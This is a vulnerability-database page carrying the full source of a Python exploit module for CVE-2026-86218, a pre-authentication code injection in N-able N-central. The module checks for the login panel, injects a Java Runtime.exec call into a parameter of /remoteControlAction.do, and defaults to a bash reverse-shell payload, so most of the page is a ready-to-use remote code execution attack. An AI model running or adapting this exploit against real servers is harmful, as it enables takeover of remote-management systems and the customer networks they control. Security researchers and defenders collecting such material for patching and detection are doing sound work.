Lucene search
+L

N-able N-central Pre-Auth RCE (CVE-2026-86218)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Pre-auth static code injection in N-able N-central allows arbitrary Java code execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Static Code Injection in N-Able N-Central
12 Sep 202611:01
–githubexploit
githubexploit
GithubExploit
Exploit for Static Code Injection in N-Able N-Central
23 Sep 202612:32
–githubexploit
circl
Circl
CVE-2026-86218
6 Sep 202604:00
–circl
cisa_kev
CISA KEV Catalog
N-able N-central Static Code Injection Vulnerability
8 Sep 202600:00
–cisa_kev
cve
CVE
CVE-2026-86218
6 Sep 202602:15
–cve
cvelist
Cvelist
CVE-2026-86218 pre-authentication remote code execution
6 Sep 202602:15
–cvelist
euvd
EUVD
EUVD-2026-72041
6 Sep 202602:15
–euvd
kitploit
Kitploit
CVE-2026-86218
12 Oct 202612:10
–kitploit
kitploit
Kitploit
CVE-2026-86218-N-central-IOC-Toolkit
12 Sep 202615:07
–kitploit
kitploit
Kitploit
CVE-2026-86218
14 Oct 202617:40
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""N-able N-central pre-auth static code injection RCE (CVE-2026-86218)."""

import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'N-able N-central Pre-Auth RCE (CVE-2026-86218)',
        'description': (
            'Exploits CVE-2026-86218 in N-able N-central builds before 2026.3.1.14: '
            'pre-authentication static code injection via /remoteControlAction.do '
            'getPierDetails allows arbitrary Java code execution on the N-central server.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-86218'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-86218',
            'https://status.n-able.com/2026/09/06/n-central-2026-3-hotfix-4-cve-2026-86218/',
        ],
        'tags': ['n-able', 'ncentral', 'rmm', 'msp', 'pre-auth', 'code-injection', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/nable_ncentral_cve_2026_86218_detect'],
            },
        },
    }

    probe_path = OptString(
        '/remoteControlAction.do',
        'N-central remoteControlAction endpoint',
        required=False,
    )
    appliance_id = OptString('1', 'Appliance/pier ID for getPierDetails probe', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    injection_param = OptString(
        'pierDetails',
        'Parameter name carrying static code injection payload',
        required=False,
        advanced=True,
    )

    def _ncentral_present(self) -> bool:
        r = self.http_request(method='GET', path='/login', allow_redirects=False)
        if not r:
            return False
        body = (r.text or '').lower()
        return 'n-central' in body or 'class="ncentral"' in body

    def _build_injection(self, cmd: str) -> str:
        escaped = cmd.replace('"', '\\"').replace("'", "\\'")
        return (
            '"; Runtime.getRuntime().exec(new String[]{"bash","-c","'
            f'{escaped}'
            '"}); //'
        )

    def _exploit_params(self, cmd: str) -> dict:
        param = str(self.injection_param or 'pierDetails').strip() or 'pierDetails'
        return {
            'method': 'getPierDetails',
            'applianceId': str(self.appliance_id or '1'),
            param: self._build_injection(cmd),
        }

    def check(self):
        if not self._ncentral_present():
            return {'vulnerable': False, 'reason': 'N-central login panel not detected', 'confidence': 'high'}
        probe = self.http_request(
            method='GET',
            path='/remoteControlAction.do?method=getPierDetails',
            allow_redirects=False,
        )
        if not probe:
            return {'vulnerable': False, 'reason': 'getPierDetails endpoint unreachable', 'confidence': 'low'}
        location = str(probe.headers.get('Location') or '').lower()
        if 'login' in location:
            return {'vulnerable': False, 'reason': 'Endpoint redirects to login (patched?)', 'confidence': 'high'}
        if int(probe.status_code or 0) in (200, 400, 500):
            return {'vulnerable': True, 'reason': 'Pre-auth getPierDetails surface exposed', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': 'N-central detected — injection may succeed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-86218 — N-central static code injection')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        path = str(self.probe_path or '/remoteControlAction.do')
        params = self._exploit_params(cmd)
        query = urllib.parse.urlencode(params)
        print_status(f'GET {path}?{query[:120]}...')
        r = self.http_request(method='GET', path=f'{path}?{query}', allow_redirects=False)
        if not r:
            print_status('Retrying as POST...')
            r = self.http_request(
                method='POST',
                path=path,
                headers={'Content-Type': 'application/x-www-form-urlencoded'},
                data=params,
                allow_redirects=False,
            )
        if r and int(r.status_code or 0) in (200, 302, 500):
            print_success('Code injection payload delivered — check listener')
            self.vulnerable()
            return True
        print_error(f'Injection failed (HTTP {getattr(r, "status_code", "?")})')
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.19.8
CVSS 410
EPSS0.14509
SSVC
3